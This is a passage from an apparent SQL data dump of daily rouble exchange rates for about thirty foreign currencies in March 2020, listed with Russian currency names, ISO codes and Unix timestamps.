(7550, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585515600),
(7551, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585515600),
(7552, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585515600),
(7553, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585515600),
(7554, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585515600),
(7555, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585515600),
(7556, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585515600),
(7557, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585515600),
(7558, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585515600),
(7559, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585515600),
(7560, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585515600),
(7561, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585515600),
(7562, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585515600),
(7563, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585515600),
(7564, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585515600),
(7565, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585515600),
(7566, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585515600),
(7567, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585515600),
(7568, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585515600),
(7569, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585515600),
(7570, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585515600),
(7571, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585515600),
(7572, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585515600),
(7573, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585515600),
(7574, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585515600),
(7575, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585515600),
(7576, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585515600),
(7577, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585432800),
(7578, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585432800),
(7579, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585432800),
(7580, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585432800),
(7581, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585432800),
(7582, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585432800),
(7583, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585432800),
(7584, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585432800),
(7585, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585432800),
(7586, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585432800),
(7587, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585432800),
(7588, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585432800),
(7589, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585432800),
(7590, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585432800),
(7591, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585432800),
(7592, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585432800),
(7593, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585432800),
(7594, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585432800),
(7595, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585432800),
(7596, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585432800),
(7597, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585432800),
(7598, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585432800),
(7599, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585432800),
(7600, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585432800),
(7601, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585432800),
(7602, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585432800),
(7603, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585432800),
(7604, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585432800),
(7605, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585432800),
(7606, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585432800),
(7607, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585432800),
(7608, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585432800),
(7609, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585432800),
(7610, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585432800),
(7611, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585346400),
(7612, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585346400),
(7613, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585346400),
(7614, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585346400),
(7615, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585346400),
(7616, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585346400),
(7617, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585346400),
(7618, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585346400),
(7619, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585346400),
(7620, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585346400),
(7621, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585346400),
(7622, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585346400),
(7623, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585346400),
(7624, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585346400),
(7625, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585346400),
(7626, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585346400),
(7627, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585346400),
(7628, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585346400),
(7629, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585346400),
(7630, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585346400),
(7631, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585346400),
(7632, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585346400),
(7633, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585346400),
(7634, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585346400),
(7635, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585346400),
(7636, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585346400),
(7637, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585346400),
(7638, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585346400),
(7639, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585346400),
(7640, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585346400),
(7641, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585346400),
(7642, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585346400),
(7643, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585346400),
(7644, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585346400),
(7645, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.8398, 1585260000),
(7646, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 46.5179, 1585260000),
(7647, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 93.8291, 1585260000),
(7648, 'R01060', 51, 'AMD', 'Армянских драмов', 15.9196, 1585260000),
(7649, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.4594, 1585260000),
(7650, 'R01100', 975, 'BGN', 'Болгарский лев', 44.006, 1585260000),
(7651, 'R01115', 986, 'BRL', 'Бразильский реал', 15.635, 1585260000),
(7652, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.2114, 1585260000),
(7653, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.1535, 1585260000),
(7654, 'R01215', 208, 'DKK', 'Датская крона', 11.5201, 1585260000),
(7655, 'R01235', 840, 'USD', 'Доллар США', 78.7223, 1585260000),
(7656, 'R01239', 978, 'EUR', 'Евро', 85.9648, 1585260000),
(7657, 'R01270', 356, 'INR', 'Индийских рупий', 10.4462, 1585260000),
(7658, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.6456, 1585260000),
(7659, 'R01350', 124, 'CAD', 'Канадский доллар', 55.3525, 1585260000),
(7660, 'R01370', 417, 'KGS', 'Киргизских сомов', 98.6901, 1585260000),
(7661, 'R01375', 156, 'CNY', 'Китайский юань', 11.0961, 1585260000),
(7662, 'R01500', 498, 'MDL', 'Молдавских леев', 43.674, 1585260000),
(7663, 'R01535', 578, 'NOK', 'Норвежских крон', 73.6177, 1585260000),
(7664, 'R01565', 985, 'PLN', 'Польский злотый', 18.7483, 1585260000),
(7665, 'R01585F', 946, 'RON', 'Румынский лей', 17.7988, 1585260000),
(7666, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 106.4829, 1585260000),
(7667, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.7101, 1585260000),
(7668, 'R01670', 972, 'TJS', 'Таджикских сомони', 77.1409, 1585260000),
(7669, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.1509, 1585260000),
(7670, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.5243, 1585260000),
(7671, 'R01717', 860, 'UZS', 'Узбекских сумов', 82.5813, 1585260000),
(7672, 'R01720', 980, 'UAH', 'Украинских гривен', 27.9902, 1585260000),
(7673, 'R01760', 203, 'CZK', 'Чешских крон', 31.244, 1585260000),
(7674, 'R01770', 752, 'SEK', 'Шведских крон', 78.0913, 1585260000),
(7675, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.8818, 1585260000),
(7676, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.9839, 1585260000),
(7677, 'R01815', 410, 'KRW', 'Вон Республики Корея', 64.0941, 1585260000),
(7678, 'R01820', 392, 'JPY', 'Японских иен', 71.3226, 1585260000),
(7679, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1035, 1585173600),
(7680, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.9687, 1585173600),
(7681, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.2778, 1585173600),
(7682, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7555, 1585173600),
(7683, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1674, 1585173600),
(7684, 'R01100', 975, 'BGN', 'Болгарский лев', 43.0246, 1585173600),
(7685, 'R01115', 986, 'BRL', 'Бразильский реал', 15.255, 1585173600),
(7686, 'R01135', 348, 'HUF', 'Венгерских форинтов', 23.9149, 1585173600),
(7687, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0332, 1585173600),
(7688, 'R01215', 208, 'DKK', 'Датская крона', 11.2712, 1585173600),
(7689, 'R01235', 840, 'USD', 'Доллар США', 77.7928, 1585173600),
(7690, 'R01239', 978, 'EUR', 'Евро', 84.1485, 1585173600),
(7691, 'R01270', 356, 'INR', 'Индийских рупий', 10.1852, 1585173600),
(7692, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.3596, 1585173600),
(7693, 'R01350', 124, 'CAD', 'Канадский доллар', 54.3094, 1585173600),
(7694, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.6738, 1585173600),
(7695, 'R01375', 156, 'CNY', 'Китайский юань', 10.956, 1585173600),
(7696, 'R01500', 498, 'MDL', 'Молдавских леев', 43.1343, 1585173600),
(7697, 'R01535', 578, 'NOK', 'Норвежских крон', 70.9439, 1585173600),
(7698, 'R01565', 985, 'PLN', 'Польский злотый', 18.3565, 1585173600),
(7699, 'R01585F', 946, 'RON', 'Румынский лей', 17.3959, 1585173600),
(7700, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.3797, 1585173600),
(7701, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.8061, 1585173600),
(7702, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.3049, 1585173600),
(7703, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.1447, 1585173600),
(7704, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2583, 1585173600),
(7705, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.6059, 1585173600),
(7706, 'R01720', 980, 'UAH', 'Украинских гривен', 27.7831, 1585173600),
(7707, 'R01760', 203, 'CZK', 'Чешских крон', 30.5501, 1585173600),
(7708, 'R01770', 752, 'SEK', 'Шведских крон', 77.3719, 1585173600),
(7709, 'R01775', 756, 'CHF', 'Швейцарский франк', 79.2591, 1585173600),
(7710, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.8415, 1585173600),
(7711, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.0279, 1585173600),
(7712, 'R01820', 392, 'JPY', 'Японских иен', 69.7537, 1585173600),
(7713, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.868, 1585087200),
(7714, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 46.593, 1585087200),
(7715, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 91.82, 1585087200),
(7716, 'R01060', 51, 'AMD', 'Армянских драмов', 15.9695, 1585087200),
(7717, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1608, 1585087200),
(7718, 'R01100', 975, 'BGN', 'Болгарский лев', 43.6451, 1585087200),
(7719, 'R01115', 986, 'BRL', 'Бразильский реал', 15.3308, 1585087200),
(7720, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.4078, 1585087200),
(7721, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.1674, 1585087200),
(7722, 'R01215', 208, 'DKK', 'Датская крона', 11.4301, 1585087200),
(7723, 'R01235', 840, 'USD', 'Доллар США', 78.8493, 1585087200),
(7724, 'R01239', 978, 'EUR', 'Евро', 85.4253, 1585087200),
(7725, 'R01270', 356, 'INR', 'Индийских рупий', 10.3514, 1585087200),
(7726, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.5954, 1585087200),
(7727, 'R01350', 124, 'CAD', 'Канадский доллар', 54.7261, 1585087200),
(7728, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.8172, 1585087200),
(7729, 'R01375', 156, 'CNY', 'Китайский юань', 11.1405, 1585087200),
(7730, 'R01500', 498, 'MDL', 'Молдавских леев', 43.8052, 1585087200),
(7731, 'R01535', 578, 'NOK', 'Норвежских крон', 72.1984, 1585087200),
(7732, 'R01565', 985, 'PLN', 'Польский злотый', 18.6431, 1585087200),
(7733, 'R01585F', 946, 'RON', 'Румынский лей', 17.603, 1585087200),
(7734, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 106.1217, 1585087200),
(7735, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.3301, 1585087200),
(7736, 'R01670', 972, 'TJS', 'Таджикских сомони', 77.3032, 1585087200),
(7737, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.1064, 1585087200),
(7738, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.5606, 1585087200),
(7739, 'R01717', 860, 'UZS', 'Узбекских сумов', 82.6946, 1585087200),
(7740, 'R01720', 980, 'UAH', 'Украинских гривен', 28.3733, 1585087200),
(7741, 'R01760', 203, 'CZK', 'Чешских крон', 30.8029, 1585087200),
(7742, 'R01770', 752, 'SEK', 'Шведских крон', 77.4087, 1585087200),
(7743, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.689, 1585087200),
(7744, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.5182, 1585087200),
(7745, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.1831, 1585087200),
(7746, 'R01820', 392, 'JPY', 'Японских иен', 71.2054, 1585087200),
(7747, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.7091, 1585000800),
(7748, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 47.7938, 1585000800),
(7749, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 93.96, 1585000800),
(7750, 'R01060', 51, 'AMD', 'Армянских драмов', 16.3811, 1585000800),
(7751, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.6045, 1585000800),
(7752, 'R01100', 975, 'BGN', 'Болгарский лев', 44.2556, 1585000800),
(7753, 'R01115', 986, 'BRL', 'Бразильский реал', 15.9719, 1585000800),
(7754, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.4799, 1585000800),
(7755, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.4292, 1585000800),
(7756, 'R01215', 208, 'DKK', 'Датская крона', 11.5886, 1585000800),
(7757, 'R01235', 840, 'USD', 'Доллар США', 80.8815, 1585000800),
(7758, 'R01239', 978, 'EUR', 'Евро', 86.705, 1585000800),
(7759, 'R01270', 356, 'INR', 'Индийских рупий', 10.6486, 1585000800),
(7760, 'R01335', 398, 'KZT', 'Казахстанских тенге', 18.0489, 1585000800),
(7761, 'R01350', 124, 'CAD', 'Канадский доллар', 55.9695, 1585000800),
(7762, 'R01370', 417, 'KGS', 'Киргизских сомов', 11.095, 1585000800),
(7763, 'R01375', 156, 'CNY', 'Китайский юань', 11.3634, 1585000800),
(7764, 'R01500', 498, 'MDL', 'Молдавских леев', 44.8718, 1585000800),
(7765, 'R01535', 578, 'NOK', 'Норвежских крон', 68.4873, 1585000800),
(7766, 'R01565', 985, 'PLN', 'Польский злотый', 18.9791, 1585000800),
(7767, 'R01585F', 946, 'RON', 'Румынский лей', 17.846, 1585000800),
(7768, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 109.1011, 1585000800),
(7769, 'R01625', 702, 'SGD', 'Сингапурский доллар', 55.4591, 1585000800),
(7770, 'R01670', 972, 'TJS', 'Таджикских сомони', 82.9426, 1585000800),
(7771, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.2672, 1585000800),
(7772, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 23.1421, 1585000800),
(7773, 'R01717', 860, 'UZS', 'Узбекских сумов', 84.9569, 1585000800),
(7774, 'R01720', 980, 'UAH', 'Украинских гривен', 28.7703, 1585000800),
(7775, 'R01760', 203, 'CZK', 'Чешских крон', 31.6487, 1585000800),
(7776, 'R01770', 752, 'SEK', 'Шведских крон', 77.7154, 1585000800),
(7777, 'R01775', 756, 'CHF', 'Швейцарский франк', 82.0466, 1585000800),
(7778, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.4235, 1585000800),
(7779, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.9961, 1585000800),
(7780, 'R01820', 392, 'JPY', 'Японских иен', 73.3785, 1585000800),
(7781, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.2491, 1584914400),
(7782, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 46.1173, 1584914400),
(7783, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.4981, 1584914400),
(7784, 'R01060', 51, 'AMD', 'Армянских драмов', 15.853, 1584914400),
(7785, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.3332, 1584914400),
(7786, 'R01100', 975, 'BGN', 'Болгарский лев', 43.0162, 1584914400),
(7787, 'R01115', 986, 'BRL', 'Бразильский реал', 15.3148, 1584914400),
(7788, 'R01135', 348, 'HUF', 'Венгерских форинтов', 23.8916, 1584914400),
(7789, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0619, 1584914400),
(7790, 'R01215', 208, 'DKK', 'Датская крона', 11.2558, 1584914400),
(7791, 'R01235', 840, 'USD', 'Доллар США', 78.0443, 1584914400),
(7792, 'R01239', 978, 'EUR', 'Евро', 84.1552, 1584914400),
(7793, 'R01270', 356, 'INR', 'Индийских рупий', 10.4069, 1584914400),
(7794, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4352, 1584914400),
(7795, 'R01350', 124, 'CAD', 'Канадский доллар', 54.8449, 1584914400),
(7796, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.7168, 1584914400),
(7797, 'R01375', 156, 'CNY', 'Китайский юань', 11.0463, 1584914400),
(7798, 'R01500', 498, 'MDL', 'Молдавских леев', 43.2978, 1584914400),
(7799, 'R01535', 578, 'NOK', 'Норвежских крон', 70.6513, 1584914400),
(7800, 'R01565', 985, 'PLN', 'Польский злотый', 18.5988, 1584914400),
(7801, 'R01585F', 946, 'RON', 'Румынский лей', 17.3741, 1584914400),
(7802, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.1873, 1584914400),
(7803, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.98, 1584914400),
(7804, 'R01670', 972, 'TJS', 'Таджикских сомони', 80.0742, 1584914400),
(7805, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0242, 1584914400),
(7806, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.3303, 1584914400),
(7807, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.9767, 1584914400),
(7808, 'R01720', 980, 'UAH', 'Украинских гривен', 27.8755, 1584914400),
(7809, 'R01760', 203, 'CZK', 'Чешских крон', 30.9417, 1584914400),
(7810, 'R01770', 752, 'SEK', 'Шведских крон', 76.0999, 1584914400),
(7811, 'R01775', 756, 'CHF', 'Швейцарский франк', 79.8081, 1584914400),
(7812, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.4393, 1584914400),
(7813, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.908, 1584914400),
(7814, 'R01820', 392, 'JPY', 'Японских иен', 71.0624, 1584914400),
(7815, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.2491, 1584828000),
(7816, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 46.1173, 1584828000),
(7817, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.4981, 1584828000),
(7818, 'R01060', 51, 'AMD', 'Армянских драмов', 15.853, 1584828000),
(7819, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.3332, 1584828000),
(7820, 'R01100', 975, 'BGN', 'Болгарский лев', 43.0162, 1584828000),
(7821, 'R01115', 986, 'BRL', 'Бразильский реал', 15.3148, 1584828000),
(7822, 'R01135', 348, 'HUF', 'Венгерских форинтов', 23.8916, 1584828000),
(7823, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0619, 1584828000),
(7824, 'R01215', 208, 'DKK', 'Датская крона', 11.2558, 1584828000),
(7825, 'R01235', 840, 'USD', 'Доллар США', 78.0443, 1584828000),
(7826, 'R01239', 978, 'EUR', 'Евро', 84.1552, 1584828000),
(7827, 'R01270', 356, 'INR', 'Индийских рупий', 10.4069, 1584828000),
(7828, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4352, 1584828000),
(7829, 'R01350', 124, 'CAD', 'Канадский доллар', 54.8449, 1584828000),
(7830, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.7168, 1584828000),
(7831, 'R01375', 156, 'CNY', 'Китайский юань', 11.0463, 1584828000),
(7832, 'R01500', 498, 'MDL', 'Молдавских леев', 43.2978, 1584828000),
(7833, 'R01535', 578, 'NOK', 'Норвежских крон', 70.6513, 1584828000),
(7834, 'R01565', 985, 'PLN', 'Польский злотый', 18.5988, 1584828000),
(7835, 'R01585F', 946, 'RON', 'Румынский лей', 17.3741, 1584828000),
(7836, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.1873, 1584828000),
(7837, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.98, 1584828000),
(7838, 'R01670', 972, 'TJS', 'Таджикских сомони', 80.0742, 1584828000),
(7839, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0242, 1584828000),
(7840, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.3303, 1584828000),
(7841, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.9767, 1584828000),
(7842, 'R01720', 980, 'UAH', 'Украинских гривен', 27.8755, 1584828000),
(7843, 'R01760', 203, 'CZK', 'Чешских крон', 30.9417, 1584828000),
(7844, 'R01770', 752, 'SEK', 'Шведских крон', 76.0999, 1584828000),
(7845, 'R01775', 756, 'CHF', 'Швейцарский франк', 79.8081, 1584828000),
(7846, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.4393, 1584828000),
(7847, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.908, 1584828000),
(7848, 'R01820', 392, 'JPY', 'Японских иен', 71.0624, 1584828000),
(7849, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.2491, 1584741600),
(7850, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 46.1173, 1584741600),
(7851, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.4981, 1584741600),
(7852, 'R01060', 51, 'AMD', 'Армянских драмов', 15.853, 1584741600),
(7853, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.3332, 1584741600),
(7854, 'R01100', 975, 'BGN', 'Болгарский лев', 43.0162, 1584741600),
(7855, 'R01115', 986, 'BRL', 'Бразильский реал', 15.3148, 1584741600),
(7856, 'R01135', 348, 'HUF', 'Венгерских форинтов', 23.8916, 1584741600),
(7857, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0619, 1584741600),
(7858, 'R01215', 208, 'DKK', 'Датская крона', 11.2558, 1584741600),
(7859, 'R01235', 840, 'USD', 'Доллар США', 78.0443, 1584741600),
(7860, 'R01239', 978, 'EUR', 'Евро', 84.1552, 1584741600),
(7861, 'R01270', 356, 'INR', 'Индийских рупий', 10.4069, 1584741600),
(7862, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4352, 1584741600),
(7863, 'R01350', 124, 'CAD', 'Канадский доллар', 54.8449, 1584741600),
(7864, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.7168, 1584741600),
(7865, 'R01375', 156, 'CNY', 'Китайский юань', 11.0463, 1584741600),
(7866, 'R01500', 498, 'MDL', 'Молдавских леев', 43.2978, 1584741600),
(7867, 'R01535', 578, 'NOK', 'Норвежских крон', 70.6513, 1584741600),
(7868, 'R01565', 985, 'PLN', 'Польский злотый', 18.5988, 1584741600),
(7869, 'R01585F', 946, 'RON', 'Румынский лей', 17.3741, 1584741600),
(7870, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.1873, 1584741600),
(7871, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.98, 1584741600),
(7872, 'R01670', 972, 'TJS', 'Таджикских сомони', 80.0742, 1584741600),
(7873, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0242, 1584741600),
(7874, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.3303, 1584741600),
(7875, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.9767, 1584741600),
(7876, 'R01720', 980, 'UAH', 'Украинских гривен', 27.8755, 1584741600),
(7877, 'R01760', 203, 'CZK', 'Чешских крон', 30.9417, 1584741600),
(7878, 'R01770', 752, 'SEK', 'Шведских крон', 76.0999, 1584741600),
(7879, 'R01775', 756, 'CHF', 'Швейцарский франк', 79.8081, 1584741600),
(7880, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 45.4393, 1584741600),
(7881, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.908, 1584741600),
(7882, 'R01820', 392, 'JPY', 'Японских иен', 71.0624, 1584741600),
(7883, 'R01010', 36, 'AUD', 'Австралийский доллар', 45.946, 1584655200),
(7884, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 47.2485, 1584655200),
(7885, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 92.4851, 1584655200),
(7886, 'R01060', 51, 'AMD', 'Армянских драмов', 16.3153, 1584655200),
(7887, 'R01090B', 933, 'BYN', 'Белорусский рубль', 31.4489, 1584655200),
(7888, 'R01100', 975, 'BGN', 'Болгарский лев', 44.5663, 1584655200),
(7889, 'R01115', 986, 'BRL', 'Бразильский реал', 15.694, 1584655200),
(7890, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.3261, 1584655200),
(7891, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.3271, 1584655200),
(7892, 'R01215', 208, 'DKK', 'Датская крона', 11.6638, 1584655200),
(7893, 'R01235', 840, 'USD', 'Доллар США', 80.157, 1584655200),
(7894, 'R01239', 978, 'EUR', 'Евро', 87.2669, 1584655200),
(7895, 'R01270', 356, 'INR', 'Индийских рупий', 10.6772, 1584655200),
(7896, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.5348, 1584655200),
(7897, 'R01350', 124, 'CAD', 'Канадский доллар', 55.3303, 1584655200),
(7898, 'R01370', 417, 'KGS', 'Киргизских сомов', 10.9944, 1584655200),
(7899, 'R01375', 156, 'CNY', 'Китайский юань', 11.3037, 1584655200),
(7900, 'R01500', 498, 'MDL', 'Молдавских леев', 44.7804, 1584655200),
